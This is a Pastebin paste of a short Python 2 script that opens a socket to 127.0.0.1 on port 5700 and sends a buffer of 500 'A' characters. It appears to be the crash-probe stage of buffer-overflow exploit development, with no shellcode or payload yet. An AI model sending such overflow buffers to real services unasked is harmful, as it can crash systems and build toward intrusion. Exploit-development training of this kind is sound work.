Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. #!/usr/bin/python
  2.  
  3. import sys, socket
  4.  
  5. target = "127.0.0.1"
  6. port = 5700
  7.  
  8. def cmd():
  9.  
  10.     print "Sending buffer " + str(len(buffer))
  11.     s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  12.     connect=s.connect((target, port))
  13.     s.recv(1024)
  14.     s.send(buffer + '\r\n')
  15.     s.recv(1024)
  16.     s.close()
  17.  
  18. ######### BUFFER ##########
  19. junk = "\x41" * 500
  20.  
  21. buffer = junk
  22.  
  23. cmd()